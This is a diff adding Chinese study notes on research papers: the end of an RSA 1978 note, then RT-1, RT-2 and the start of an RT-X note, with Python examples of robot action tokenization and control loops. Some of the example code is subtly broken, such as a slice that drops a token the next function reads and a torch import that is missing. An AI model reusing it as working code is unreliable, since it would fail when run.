+1. **公钥密码 = 陷门单向函数 + 公开参数**：安全不在算法保密，而在**秘密陷门**（\(p, q\)）难以从公开 \(n\) 恢复。
+
+2. **加密与签名是对偶操作**：同一对 \((e, d)\) 两种用法，奠定了后来 ECDSA、Ed25519 的设计模板。
+
+3. **论文证明 ≠ 系统安全**：Section VI 证正确性；Section V 末尾说安全「in part」靠分解困难——是**计算假设**，不是数学定理，会被量子算法削弱。
+
+4. **抽象先行、实现跟进**：Diffie–Hellman 给「要什么」，RSA 给「怎么做」，Solovay–Strassen 给「素数从哪来」，快速幂给「怎么快」——现代密码学论文仍在重复这个结构。
+
+5. **读 7 页原文比读二手摘要值**：符号 \((e, n)\) / \((d, n)\)、public file、trap-door permutation 等术语都定义得极干净，是 [[rsa]] 应用笔记的理论锚点。
+
+## 延伸阅读
+
+- 原文 PDF：[Rivest, Shamir, Adleman 1978](https://people.csail.mit.edu/rivest/Rsapaper.pdf)（建议至少读 Abstract + Section V–VI）
+- 前传概念：[[diffie-hellman-1976]] —— 公钥密码的思想来源
+- 应用层笔记：[[rsa]] —— 同一算法在 TLS、SSH、JWT 中的用法
+- 终结者：[[shor-algorithm]] —— 量子分解对 RSA 假设的威胁
+- 接班人：[[ducas-dilithium-2018]] —— NIST 后量子签名标准
+- 动手练习：[Cryptopals Set 5](https://cryptopals.com/sets/5) —— 实现 RSA 并理解 padding 必要性
+
+## 关联
+
+- [[rsa]] —— 同一算法的工程实践版，与本篇论文笔记互补
+- [[diffie-hellman-1976]] —— 1976 概念，1978 实现
+- [[aes]] —— 混合加密里 RSA 保护的会话密钥
+- [[ducas-dilithium-2018]] —— 后量子时代的签名替代
+- [[regev-lwe-2005]] —— 另一种公钥假设（格/LWE），与分解假设对比
diff --git a/src/content/docs/papers/rsa.md b/src/content/docs/papers/rsa.md
index d38f58ce6..35994ff69 100644
--- a/src/content/docs/papers/rsa.md
+++ b/src/content/docs/papers/rsa.md
@@ -176,7 +176,10 @@ OAuth、Auth0、Firebase、Supabase 几乎所有"无状态登录"都靠这条链
 - [[freedman-psi-2004]] —— Freedman-Nissim-Pinkas PSI 2004 — 两个人怎么找共同好友而不暴露各自通讯录
 - [[gmw-mental-game-1987]] —— GMW 1987 — 任何函数都能让多方安全地一起算
 - [[mbedtls]] —— Mbed TLS — 嵌入式设备的 TLS 1.3 / X.509 / 加密原语库
+- [[rsa-1978]] —— RSA 1978 — 数字签名与公钥密码的奠基论文
 - [[saltzer-1984-e2e]] —— End-to-End Arguments — 把功能尽量推到端上做
+- [[sigstore-cosign-2022]] —— Sigstore — 让每个人都能给软件「盖公证章」
 - [[turing-1936]] —— Turing 1936 可计算性
+- [[webauthn-fido2]] —— WebAuthn Level 2 — 用公钥凭证替代密码的 Web 标准
 - [[yao-garbled-circuits-1986]] —— Yao 混淆电路 — 让两人合算函数却互不泄密
 
diff --git a/src/content/docs/papers/rt-1-2022.md b/src/content/docs/papers/rt-1-2022.md
new file mode 100644
index 000000000..819acfb7c
--- /dev/null
+++ b/src/content/docs/papers/rt-1-2022.md
@@ -0,0 +1,267 @@
+---
+title: RT-1 — 把机器人控制做成「看图听话」的 Transformer
+来源: https://arxiv.org/abs/2212.06817
+日期: 2026-06-13
+子分类: 机器人与 VLA
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 是什么
+
+RT-1（**R**obotics **T**ransformer 1）是 Google DeepMind / Everyday Robots 团队在 2022 年提出的一种**端到端机器人控制模型**：给它一段相机画面历史 + 一句自然语言指令，它每步直接吐出离散化的动作 token，驱动真实机械臂或移动底盘干活。
+
+日常类比：
+
+想象你雇了一个**会看监控、听得懂人话的新手店员**：
+
+- 你指着货架说：「把蓝色杯子放进抽屉」——这是**语言指令**
+- 他每隔几秒瞟一眼摄像头画面，回忆刚才几步自己干了啥——这是**图像历史**
+- 然后决定手往哪伸、夹爪开多大、要不要挪底盘——这是**动作输出**
+- 杯子放好了就举手说「完事」——这是 **terminate** 动作
+
+RT-1 就是这个「店员」的神经网络版。它不手写抓取规则，而是从 **13 台真实机器人、17 个月、13 万条演示轨迹、700+ 种任务** 里，用**行为克隆**（模仿专家怎么动）学出来。论文核心主张和 NLP 里的 GPT 一样：**数据够多、模型够能装、任务够杂，泛化就会冒出来**——新物体、新背景、新指令组合，零样本也能凑合干。
+
+## 为什么重要
+
+不理解 RT-1，下面这些事都讲不清：
+
+- 为什么 **RT-2**（2023）敢把 PaLM 视觉语言模型直接接到机器人上——RT-1 先证明了「Transformer + 大规模真实数据」在机器人上走得通
+- 为什么后来的 **Open X-Embodiment**、**Octo**、**π0** 都沿用「图像序列 + 语言 → 动作 token」这条管线
+- 为什么机器人圈开始谈 **「基础模型」** 而不是每个任务训一个专用网络
+- 它和 [[decision-transformer-2021]] 的关系：都是把控制变成序列建模；但 RT-1 **不预测 return**，直接 **image + text → action**，更贴近真实部署
+
+一句话：RT-1 是**第一个在真实世界大规模验证「机器人 Transformer」可扩展性**的工作，把「大模型范式」从屏幕里搬到了车间地板上。
+
+## 核心架构（自上而下）
+
+整条数据流可以记成 **「编码 → 压缩 → 接龙 → 解码」**：
+
+```
+自然语言指令 ──► USE 嵌入 ──┐
+                            ├──► FiLM-EfficientNet-B3 ──► 81 tokens/帧
+6 帧历史图像 (300×300) ─────┘              │
+                                           ▼
+                                    TokenLearner
+                                    81 → 8 tokens/帧
+                                           │
+                           6×8 = 48 tokens + 位置编码
+                                           ▼
+                              Decoder-only Transformer
+                              (8 层, ~19M 参数)
+                                           ▼
+                              11 维动作 token（各 256 档）
+```
+
+### 1. 图像 + 语言的早期融合（FiLM）
+
+- 图像走 **ImageNet 预训练的 EfficientNet-B3**，每帧输出 `9×9×512` 特征图，展平成 **81 个视觉 token**
+- 指令用 **Universal Sentence Encoder (USE)** 编成向量，通过 **FiLM**（Feature-wise Linear Modulation）注入 CNN：对每层特征做 `γ(c)·x + β(c)`，让网络**一开始就知道当前任务要盯什么**
+- FiLM 的缩放/平移参数**初始化为恒等变换**，保证训练初期不破坏预训练视觉 backbone——这是稳定微调的关键 trick
+
+### 2. TokenLearner 压缩
+
+Transformer 要对 48 个 token 做自注意力已经不算重，但若每帧保留 81 token，6 帧就是 486 token，**实时控制扛不住**。
+
+**TokenLearner** 用可学习的注意力，把 81 token **软选择**压缩成 **8 个**「信息精华」token。论文报告推理加速约 **2.4×**，且几乎不掉成功率——说明大量空间 patch 对当前动作是冗余的。
+
+### 3. Decoder-only Transformer 出动作
+
+- 6 帧 × 8 token = **48 token** 串成序列，加位置编码
+- **8 层、仅解码器、因果掩码** 的 Transformer（约 19M 参数），用标准 **分类交叉熵** 预测下一步动作 token
+- 总参数量约 **35M**（16M 视觉编码器 + 19M Transformer），刻意保持**小模型、快推理**
+
+### 4. 动作怎么 token 化？
+
+机器人动作不是连续向量直接回归，而是**逐维均匀切成 256 个 bin**，变成分类问题：
+
+| 维度组 | 含义 | 维数 |
+|--------|------|------|
+| 机械臂 | x, y, z, roll, pitch, yaw, 夹爪开合 | 7 |
+| 移动底盘 | x, y, yaw | 3 |
+| 模式切换 | 控臂 / 控底盘 / 结束 episode | 1（离散 3 类） |
+
+推理时模型以 **3 Hz** 闭环输出动作，直到发出 **terminate** 或超时。
+
+## 训练数据与行为克隆
+
+- **13 万条 episode**，覆盖 **700+ 任务**（收拾桌面、开门、扔垃圾等办公室杂活）
+- 全部来自**遥操作专家演示**——没有在线 RL 探索，就是监督学习：`min -log P(a_t | images_{t-5:t}, instruction)`
+- 数据多样性（多机器人、多场景、多物体）被论文强调为泛化的**第一要素**，甚至超过单纯堆模型大小
+
+## 实验结论（记住这几个数字）
+
+| 对比项 | 要点 |
+|--------|------|
+| vs 专用单任务模型 | 多任务联合训练后，**平均成功率更高**，且能零样本试新任务组合 |
+| vs Gato 式架构 | RT-1 用 FiLM 早期融合语言、TokenLearner 压 token，**更适合 3Hz 实时控制** |
+| 泛化 | 对新背景、新物体、新指令，明显优于小规模 BC 基线 |
+| 消融 | 去掉 TokenLearner → 推理变慢；去掉 FiLM → 语言条件变弱；数据越少 → 泛化悬崖 |
+
+## 代码示例 1：动作离散化与反离散化
+
+理解 RT-1 的「动作 = token」是入门第一步。下面用 NumPy 模拟论文里的 uniform binning：
+
+```python
+import numpy as np
+
+# 每个连续维度被切成 256 档；action_dim=11
+NUM_BINS = 256
+ACTION_LOW = np.array([
+    -0.5, -0.5,  0.0, -np.pi, -np.pi, -np.pi, 0.0,  # arm 7D
+    -0.3, -0.3, -0.5,                                   # base 3D
+])
+ACTION_HIGH = np.array([
+     0.5,  0.5,  0.8,  np.pi,  np.pi,  np.pi, 1.0,
+     0.3,  0.3,  0.5,
+])
+MODE_NAMES = ["arm", "base", "terminate"]
+
+def continuous_to_tokens(action: np.ndarray, mode: str) -> list[int]:
+    """把 10 维连续动作 + 模式名 → 11 个 token id (0..255)。"""
+    assert action.shape == (10,)
+    tokens = []
+    for i in range(10):
+        # 线性映射到 [0, 255]，再 clip 防越界
+        t = (action[i] - ACTION_LOW[i]) / (ACTION_HIGH[i] - ACTION_LOW[i])
+        tokens.append(int(np.clip(t * (NUM_BINS - 1), 0, NUM_BINS - 1)))
+    tokens.append(MODE_NAMES.index(mode))  # 模式维只有 3 类，也可单独 embed
+    return tokens
+
+def tokens_to_continuous(tokens: list[int]) -> tuple[np.ndarray, str]:
+    """推理后把 token id 还原成可发给机器人的连续指令。"""
+    action = np.zeros(10)
+    for i in range(10):
+        t = tokens[i] / (NUM_BINS - 1)
+        action[i] = ACTION_LOW[i] + t * (ACTION_HIGH[i] - ACTION_LOW[i])
+    mode = MODE_NAMES[tokens[10]] if tokens[10] < 3 else "arm"
+    return action, mode
+
+# 示例：专家演示里某一步「伸手、张开夹爪」
+demo_action = np.array([0.1, 0.0, 0.4, 0, 0, 0, 0.8, 0, 0, 0])
+toks = continuous_to_tokens(demo_action, mode="arm")
+restored, mode = tokens_to_continuous(toks)
+print("tokens:", toks)
+print("restored:", restored, "mode:", mode)
+```
+
+**要点**：训练时交叉熵预测的是 **token 类别**，不是 MSE 回归；256 档在桌面操作精度上够用，且和 Transformer 的离散词表天然合拍。
+
+## 代码示例 2：简化版 RT-1 推理循环
+
+真实部署要接 ROS / 机器人 SDK；这里用伪代码展示 **3 Hz 闭环 + 6 帧历史 + 语言条件** 的控制逻辑：
+
+```python
+from collections import deque
+import time
+
+class RT1Policy:
+  def __init__(self, model, tokenizer, hz: float = 3.0):
+    self.model = model
+    self.tokenizer = tokenizer
+    self.dt = 1.0 / hz
+    self.image_history = deque(maxlen=6)  # 论文用 6 帧历史
+
+  def reset(self, instruction: str):
+    self.instruction = instruction
+    self.image_history.clear()
+
+  @torch.no_grad()
+  def step(self, rgb_image) -> dict:
+    """读一帧图，返回机器人动作 dict。"""
+    self.image_history.append(self.tokenizer.encode_image(rgb_image))
+
+    # 不足 6 帧时用最早一帧 padding（实现细节因代码库而异）
+    frames = list(self.image_history)
+    while len(frames) < 6:
+      frames.insert(0, frames[0])
+
+    # FiLM-EfficientNet → TokenLearner → Transformer
+    action_tokens = self.model(
+      images=frames,
+      text_embed=self.tokenizer.encode_text(self.instruction),
+    )
+
+    action, mode = tokens_to_continuous(action_tokens[:10])
+    mode_flag = MODE_NAMES[action_tokens[10]]
+
+    if mode_flag == "terminate":
+      return {"done": True}
+
+    return {
+      "arm_delta": action[:7],
+      "base_delta": action[7:10],
+      "control_mode": mode_flag,
+      "done": False,
+    }
+
+# 部署主循环
+policy = RT1Policy(model=rt1, tokenizer=rt1_tokenizer)
+policy.reset("pick up the blue cup and place it in the drawer")
+
+while True:
+  obs = robot.get_camera_rgb()
+  cmd = policy.step(obs)
+
+  if cmd["done"]:
+    print("task finished")
+    break
+
+  if cmd["control_mode"] == "arm":
+    robot.move_arm(**cmd["arm_delta"])
+  else:
+    robot.move_base(**cmd["base_delta"])
+
+  time.sleep(policy.dt)  # 3 Hz ≈ 每 333ms 决策一次
+```
+
+**要点**：
+
+- **闭环**：每步重新拍照，不是开环回放轨迹
+- **历史很重要**：单帧看不清「杯子已经抓起一半」这种时序状态
+- **terminate 是学出来的**：模型自己决定何时停，不必硬编码步数上限（虽然工程上仍会设保险超时）
+
+## 与相邻工作的关系
+
+| 方法 | 和 RT-1 的差异 |
+|------|----------------|
+| [[decision-transformer-2021]] | DT 条件于 return-to-go；RT-1 条件于**自然语言**，更贴近人机交互 |
+| Gato (2022) | 通用 token 序列、自回归生成一切；RT-1 **为机器人实时性定制**（FiLM、TokenLearner、非自回归动作头） |
+| RT-2 (2023) | 把 VLM 当 backbone，网页图文预训练再微调；RT-1 是**纯机器人数据、更小专用架构** |
+| Diffusion Policy 等 | 连续动作扩散模型；RT-1 坚持**离散 token + Transformer**，换的是生成范式 |
+
+## 踩过的坑（读论文时的避雷指南）
+
+1. **别把 3Hz 想成「慢」**：桌面操作里每 333ms 重规划一次足够；瓶颈在**推理延迟**而非控制频率。TokenLearner 是为毫秒级预算服务的。
+2. **行为克隆的天花板**：专家没演示过的失败恢复，模型不会凭空学会；RT-1 的「泛化」主要是**重组已见过的技能**，不是真·推理。
+3. **离散化误差**：256 bin 对精细装配可能不够；论文场景是办公室杂物，动作空间相对粗。
+4. **语言编码用 USE 而非 LLM**：2022 年还没有现在这种大 VLM；早期融合靠 FiLM，不是把整句 prompt 拼进 autoregressive context。
+5. **数据成本**：13 万条真实机器人轨迹极难复制——读 RT-1 更要学**架构取舍**（小 Transformer + 强视觉预训练 + token 压缩），别只记数字。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 多任务家庭/办公操作，指令以短句自然语言为主
+- 有大规模**高质量遥操作演示**可砸
+- 需要**可实时部署**的模仿学习策略（边缘 GPU 能跑）
+- 研究和实现「机器人基础模型」数据管线
+
+**不适用**：
+
+- 没有演示、必须靠稀疏奖励自我探索 → 得接 RL 或仿真预训练
+- 亚毫米级精密装配 → 离散 BC 可能不够
+- 只有单任务、数据很少 → 专用小网络更划算，不必上 RT-1 全套
+- 强安全约束、可解释规划 → 纯端到端黑箱需额外护栏
+
+## 一句话总结
+
+RT-1 教会机器人圈一件事：**把「看图 + 听话 → 动手」写成 Transformer 接龙，用海量真实演示喂饱它，再靠 FiLM 和 TokenLearner 把模型压在实时控制的体重级内**——这是从「每个任务一个网络」走向「一个模型干七百件事」的关键一步。
+
+## 延伸阅读
+
+- 论文：[arXiv:2212.06817](https://arxiv.org/abs/2212.06817) / [RSS 2023  proceedings](https://www.roboticsproceedings.org/rss19/p025.html)
+- 项目页：[robotics-transformer1.github.io](https://robotics-transformer1.github.io/)
+- Google Research 博文：[RT-1 官方解读](https://research.google/blog/rt-1-robotics-transformer-for-real-world-control-at-scale/)
+- 开源实现：[google-research/robotics_transformer](https://github.com/google-research/robotics_transformer)（JAX）
+- 后继：RT-2（视觉-语言-动作）、Open X-Embodiment 数据集
diff --git a/src/content/docs/papers/rt-2-2023.md b/src/content/docs/papers/rt-2-2023.md
new file mode 100644
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--- /dev/null
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+---
+title: RT-2 — 把互联网知识「翻译」成机器人动作的 VLA 模型
+来源: https://arxiv.org/abs/2307.15818
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+## 是什么
+
+RT-2（**R**obotics **T**ransformer 2）是 Google DeepMind 在 2023 年提出的 **Vision-Language-Action（VLA，视觉-语言-动作）** 模型家族：在预训练好的大规模视觉语言模型（VLM）上，用机器人演示数据做 **co-fine-tuning（协同微调）**，让模型既能看图说话，也能**直接输出可执行的机器人动作 token**，实现端到端闭环控制。
+
+日常类比：
+
+想象你雇了一位**读过海量百科、看过无数图片的翻译官**，现在让他去车间当操作工：
+
+- 你指着摄像头画面说：「把最小的杯子放到数字 3 旁边」——这是**视觉 + 语言指令**
+- 翻译官脑子里有「最小」「数字 3」「杯子」这些**从互联网图文里学到的概念**
+- 但他从没在工厂干过活，所以还得跟老师傅（机器人演示数据）学**手怎么动、夹爪开多大**
+- 最后他不说人话，而是吐出一串**像密码一样的数字**（`1 128 91 241 5 101 127`）——机器人控制器把这串数字**反解码**成末端位移和夹爪开合
+
+RT-2 的核心洞见就一句话：**动作不必单独设计一套神经网络头，可以当成「另一种语言」**，和 VQA 答案、图像描述共用同一个 Transformer 词表。网页上学到的语义与推理，由此「渗漏」进低层电机控制——论文称之为把 **web knowledge transfer** 到 robotic control。
+
+## 为什么重要
+
+不理解 RT-2，下面这些趋势都讲不清：
+
+- 为什么 2024 年后 **OpenVLA、π0、Octo、Gemini Robotics** 都走「大 VLM + 动作 token」路线
+- 为什么机器人圈开始认真谈 **涌现能力（emergent capabilities）**：训练数据里从没出现过「放到图标上」，模型却能做
+- 它和 [[rt-1-2022]] 的分工：RT-1 用 35M 专用 Transformer 证明「大规模真实机器人数据」可行；RT-2 证明**不必从零造架构，直接改 VLM 输出词表就行**
+- 它和 SayCan / PaLM-E 高层规划的区别：RT-2 **一个网络**同时承担语义理解与**低层动作输出**，不是「LLM 当状态机 + 小策略当手脚」
+
+论文在约 **6000 次真实机器人评估** 中报告：在已见任务上与 RT-1 相当，但在**未见物体、背景、环境**上平均约 **2×** 于 RT-1/MOO，在部分涌现任务上相对基线可达约 **3×**。未见场景成功率从 RT-1 的约 32% 提升到约 **62%**（Google 博客数据）。
+
+## 核心概念
+
+### 1. VLA：Vision-Language-Action
+
+| 类型 | 输入 | 输出 | 代表 |
+|------|------|------|------|
+| VLM | 图像 + 文本 | 自然语言 token | PaLI-X、PaLM-E |
+| 机器人策略 | 图像 + 指令 | 连续/离散动作 | RT-1 |
+| **VLA** | 图像 + 指令 | **动作 token（伪装成文本）** | **RT-2** |
+
+VLA 不是全新架构，而是 **「把动作塞进 VLM 已有输出格式」** 的训练配方。
+
+### 2. 动作即文本 token
+
+动作空间继承 RT-1：**6-DoF 末端位移/旋转 + 夹爪 + terminate 标志**，连续维均匀切成 **256 个 bin**，得到 8 个整数。拼成空格分隔的字符串，例如：
+
+```
+1 128 91 241 5 101 127
+```
+
+对应语义顺序：`terminate  Δpos_x  Δpos_y  Δpos_z  Δrot_x  Δrot_y  Δrot_z  gripper`
+
+- **PaLI-X**：0–1000 的整数各有独立 token，直接映射 bin 序号
+- **PaLM-E**：复用 **256 个最低频 token** 作为动作词表（symbol tuning）
+
+训练样本格式化为 VQA 风格：
+
+```
+Q: what action should the robot take to [pick up the apple]?
+A: 0 45 120 88 12 200 15 230
+```
+
+### 3. Co-Fine-Tuning（协同微调）
+
+**不要**只在机器人数据上 naive fine-tune。RT-2 在每个 batch 里**混合**：
+
+- 原始 **网页级 VLM 数据**（VQA、caption、图文交织）
+- **RT-1 同款机器人演示**（13 台机器人、17 个月、13 万条轨迹）
+
+并对机器人样本**提高采样权重**。直觉：如果只学动作，模型会「忘掉」网页里学的抽象视觉概念；混训才能把 **语义** 和 **动力学** 锁在同一组权重里。
+
+### 4. 输出约束（Output Constraint）
+
+推理做机器人任务时，解码**只允许**从 256 个合法动作 token 里采样；做普通 VQA 时仍可用完整自然语言词表。避免模型「唠嗑」出无效动作。
+
+### 5. 两个骨干实例
+
+| 模型 | 骨干 | 参数量 | 控制频率 |
+|------|------|--------|----------|
+| RT-2-PaLI-X | PaLI-X | 5B / **55B** | 5 Hz / **1–3 Hz** |
+| RT-2-PaLM-E | PaLM-E | 12B | 云端推理 |
+
+55B 模型无法塞进机械臂旁的小 GPU——论文用 **多 TPU 云服务 + 网络查询** 做实时闭环，这是当时闭环控制里**大一个数量级**的模型规模。
+
+### 6. Chain-of-Thought（CoT）控制
+
+微调变体在动作前先输出自然语言 **Plan**，再跟 `Action:` 和动作 token，例如：
+
+```
+Plan: I need something heavy to hammer; the rock is the best choice.
+Action: 0 52 118 ...
+```
+
+使多步语义推理（「累了的人该喝能量饮料」→ 选对饮料 → 抓起）能在**单一 VLA 网络**内完成，而不必外接规划器。
+
+## 架构数据流
+
+```
+相机图像 ──┐
+           ├──► 预训练 VLM（PaLI-X / PaLM-E）
+语言指令 ──┘           │
+                       ▼
+              自回归生成 token 序列
+                       │
+         ┌─────────────┴─────────────┐
+         ▼                           ▼
+   自然语言（VQA 任务）        动作 token 串
+                                     │
+                                     ▼
+                            de-tokenize → 机器人 7DoF 命令
+                                     │
+                                     ▼
+                              1–5 Hz 闭环控制
+```
+
+与 RT-1 对比：RT-1 是 **FiLM-EfficientNet + 小 Transformer（35M）**，专为速度优化；RT-2 **牺牲边缘部署**，换 **互联网预训练带来的泛化与涌现**。
+
+## 涌现能力（Emergent Capabilities）
+
+论文专门测了训练数据**从未显式标注**的能力：
+
+| 类别 | 例子 |
+|------|------|
+| 符号理解 | 把物体放到**特定数字或图标**旁 |
+| 空间推理 | 抓起**离某物最近/最小/最大**的物体 |
+| 人类识别 | 把零食递给**穿红衬衫的人** |
+| CoT 推理 | 找**能当锤子**的石头；给困倦者拿**能量饮料** |
+
+关键：「怎么伸手」仍来自机器人演示；「什么是锤子、什么是能量饮料」来自 **web-scale VLM 预训练**。
+
+## 实验结论（记住这些数字）
+
+| 对比项 | 要点 |
+|--------|------|
+| Seen tasks | RT-2 ≈ RT-1，均优于 VC-1 / R3M 等表征基线 |
+| 泛化（物体/背景/环境） | RT-2 平均 **~2×** RT-1、MOO |
+| 涌现任务 | RT-2 相对基线最高约 **3×** |
+| 模型规模消融 | **5B → 55B**，泛化持续提升；从零训练远不如保留预训练权重 |
+| Co-fine-tune 消融 | 去掉网页数据混训 → 泛化明显下降 |
+| Language-Table 仿真 | RT-2-PaLI-3B **90%** vs LAVA **77%**（SOTA） |
+
+## 代码示例 1：RT-2 动作 ↔ 文本 token 编解码
+
+下面用 Python 模拟论文 **8 维离散动作 → 空格分隔整数字符串** 的编解码（与 RT-1 binning 一致）：
+
+```python
+import numpy as np
+from dataclasses import dataclass
+
+NUM_BINS = 256
+DIM_NAMES = [
+    "terminate", "dx", "dy", "dz",
+    "drx", "dry", "drz", "gripper",
+]
+# 与 RT-1/RT-2 论文一致的近似工作空间（示意）
+LOW  = np.array([0, -0.05, -0.05, -0.05, -0.25, -0.25, -0.25, 0.0])
+HIGH = np.array([1,  0.05,  0.05,  0.05,  0.25,  0.25,  0.25, 1.0])
+
+@dataclass
+class RobotAction:
+    terminate: int      # 0=继续, 1=结束 episode
+    deltas: np.ndarray  # shape (7,)：6DoF + gripper
+
+def continuous_to_action_string(action: RobotAction) -> str:
+    """连续动作 → RT-2 训练目标字符串（PaLI-X 整数 token 路线）。"""
+    vals = [action.terminate, *action.deltas.tolist()]
+    bins = []
+    for v, lo, hi in zip(vals, LOW, HIGH):
+        t = (float(v) - lo) / (hi - lo)
+        bins.append(int(np.clip(round(t * (NUM_BINS - 1)), 0, NUM_BINS - 1)))
+    return " ".join(str(b) for b in bins)
+
+def action_string_to_continuous(s: str) -> RobotAction:
+    """推理：模型生成的 token 串 → 可发给控制器的连续量。"""
+    bins = [int(x) for x in s.strip().split()]
+    assert len(bins) == 8, f"expected 8 tokens, got {len(bins)}"
+    vals = []
+    for b, lo, hi in zip(bins, LOW, HIGH):
+        t = b / (NUM_BINS - 1)
+        vals.append(lo + t * (hi - lo))
+    terminate = int(round(vals[0]))
+    return RobotAction(terminate=terminate, deltas=np.array(vals[1:]))
+
+# 构造 VQA 训练样本
+instruction = "place the apple on the napkin"
+action = RobotAction(terminate=0, deltas=np.array([0.01, 0.0, -0.02, 0, 0, 0, 0.8]))
+target = continuous_to_action_string(action)
+prompt = f"Q: what action should the robot take to [{instruction}]?\nA: {target}"
+print(prompt)
+# 解码验证
+restored = action_string_to_continuous(target)
+print("restored deltas:", restored.deltas)
+```
+
+**要点**：训练时交叉熵预测的是 **token 序列**；推理时用 **output constraint** 限制只能采样 0–255 的合法 bin token（PaLI 路线下即对应整数字符串）。
+
+## 代码示例 2：带 CoT 与词表约束的推理循环
+
+真实 RT-2 跑在 TPU 云上；这里用伪代码展示 **Plan → Action → de-tokenize → 闭环** 与 **受限解码**：
+
+```python
+import re
+import time
+from typing import Optional
+
+# 256 个合法动作 bin id（PaLM-E 路线下映射到最低频 token id）
+VALID_ACTION_TOKEN_IDS = set(range(256))
+
+class RT2Policy:
+    def __init__(self, vla_model, hz: float = 3.0, use_cot: bool = False):
+        self.model = vla_model
+        self.dt = 1.0 / hz
+        self.use_cot = use_cot
+
+    def _build_prompt(self, instruction: str) -> str:
+        base = f"Q: what action should the robot take to [{instruction}]?\nA:"
+        if self.use_cot:
+            # CoT 变体：模型先 Plan 再 Action
+            return base  # 模型自由生成 Plan: ... Action: ...
+        return base
+
+    def _parse_model_output(self, text: str) -> Optional[str]:
+        """从 VLA 输出中提取动作 token 串。"""
+        if self.use_cot:
+            m = re.search(r"Action:\s*([\d\s]+)", text)
+            if not m:
+                return None
+            return m.group(1).strip()
+        # 非 CoT：A: 后直接是数字
+        return text.strip().split("\n")[-1].strip()
+
+    @torch.no_grad()
+    def step(self, rgb_image, instruction: str) -> dict:
+        prompt = self._build_prompt(instruction)
+        # 关键：机器人任务时 constrained decoding，只允许动作词表
+        raw = self.model.generate(
+            image=rgb_image,
+            text=prompt,
+            allowed_token_ids=VALID_ACTION_TOKEN_IDS,  # output constraint
+            max_new_tokens=64 if self.use_cot else 16,
+        )
+        action_str = self._parse_model_output(raw)
+        if action_str is None:
+            return {"error": "no valid action", "raw": raw}
+
+        act = action_string_to_continuous(action_str)
+        if act.terminate:
+            return {"done": True, "raw": raw}
+
+        return {
+            "done": False,
+            "arm_delta": act.deltas[:6],
+            "gripper": act.deltas[6],
+            "raw": raw,
+        }
+
+# 部署主循环（云端 VLA + 本地机器人）
+policy = RT2Policy(vla_model=rt2_pali_55b, hz=2.0, use_cot=True)
+instruction = "pick up the extinct animal"  # 论文 demo：依赖网络知识辨认「灭绝动物」
+
+while True:
+    frame = robot.get_camera_rgb()
+    cmd = policy.step(frame, instruction)
+
+    if cmd.get("error"):
+        print("retry:", cmd["raw"])
+        continue
+    if cmd["done"]:
+        print("success")
+        break
+
+    robot.send_delta_pose(cmd["arm_delta"], gripper=cmd["gripper"])
+    time.sleep(policy.dt)
+```
+
+**要点**：
+
+- **CoT** 让模型先「想」再「动」，适合需要常识的多步任务
+- **Output constraint** 是工程上保证 100% 可执行动作的关键
+- **网络延迟**：55B @ 1–3 Hz 意味着动作比 RT-1（3 Hz 本地）更「顿挫」，抓取动态物体更难
+
+## 与相邻工作的关系
+
+| 方法 | 和 RT-2 的差异 |
+|------|----------------|
+| [[rt-1-2022]] | 小专用模型、纯机器人数据；RT-2 用大 VLM + 网页预训练 |
+| SayCan (2022) | LLM **只规划**「pick/place」原语，低层另训；RT-2 **端到端** |
+| PaLM-E (2023) | 多模态嵌入 + 规划；RT-2 强调 **动作 token 与 VQA 共用输出头** |
+| MOO / CLIPort | VLM 做语义图等**结构化中间表示**；RT-2 **不引入额外动作专用层** |
+| OpenVLA (2024) | 开源复现并扩展 RT-2 路线到 Open X-Embodiment 大数据 |
+
+## 踩过的坑（读论文时的避雷指南）
+
+1. **「涌现」≠ 学会新技能**：模型不会凭空学会「焊接」；只是用网页知识**重新组合**已学过的 pick/place。
+2. **Co-fine-tune 不是可选项**：只微调机器人数据，VLM 的泛化优势会快速塌缩——复现时务必保留网页数据混合。
+3. **大模型 ≠ 实时**：55B 靠云端推理；做产线部署要想蒸馏、小模型或异步规划。
+4. **动作 token 与语言 token 抢词表**：PaLM-E 路线覆盖低频 token，可能影响极少见的文本生成——机器人场景通常可接受。
+5. **评估方差大**：单任务成功率波动高；论文用 6000+ 轨迹 + 人工 A/B 盲评，别用几次 demo 下结论。
+6. **数据仍依赖 RT-1 管线**：没有那 13 万条真实演示，RT-2 配方也转不起来——**数据规模**仍是地板。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 需要**语义泛化**（新物体、新指令组合、符号/推理类任务）
+- 已有 **VLM 基础设施**（算力、云端推理、TPU/GPU 集群）
+- 研究 **机器人基础模型** 与 VLA 范式
+- 指令以**自然语言**为主的人机协作场景
+
+**不适用**：
+
+- 边缘设备、毫秒级伺服控制 → 模型太大、频率太低
+- 没有大规模**高质量演示数据** → 先解决数据再谈 VLM
+- 强安全认证、可解释规划 → 端到端黑箱需额外护栏
+- 精密装配（亚毫米）→ 256 bin 离散化可能不够
+
+## 一句话总结
+
+RT-2 教会机器人圈第二件事：**不必为「动手」单独造大脑——把动作写成 VLM 能读的「数字方言」，在网页图文和车间演示上一起微调，互联网里的常识就能流进机械臂的指尖。**
+
+## 延伸阅读
+
+- 论文：[arXiv:2307.15818](https://arxiv.org/abs/2307.15818) / [CoRL 2023 proceedings](https://mlanthology.org/corl/2023/zitkovich2023corl-rt2/)
+- 项目页：[robotics-transformer2.github.io](https://robotics-transformer2.github.io/)
+- Google DeepMind 博文：[RT-2 官方解读](https://deepmind.google/blog/rt-2-new-model-translates-vision-and-language-into-action/)
+- 前作：[[rt-1-2022]]（数据与动作离散化）
+- 后继：OpenVLA、Octo、π0、Gemini Robotics 1.5
diff --git a/src/content/docs/papers/rt-x-2023.md b/src/content/docs/papers/rt-x-2023.md
new file mode 100644
index 000000000..f3ec3b057
--- /dev/null
+++ b/src/content/docs/papers/rt-x-2023.md
@@ -0,0 +1,389 @@
+---
+title: "Open X-Embodiment: Robotic Learning Datasets and RT-X Models"
+来源: "https://arxiv.org/abs/2310.08864"
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: "pipeline-v3"
+---
+
+# Open X-Embodiment：多机器人学习数据集与 RT-X 模型
+
+> 2023年10月 · Open X-Embodiment Collaboration · 293位作者 · Google DeepMind 主导
+
+---
+
+## 1. 一个日常类比：厨师学徒的故事
+
+想象一下，你想教一个 AI 学会做菜。
+
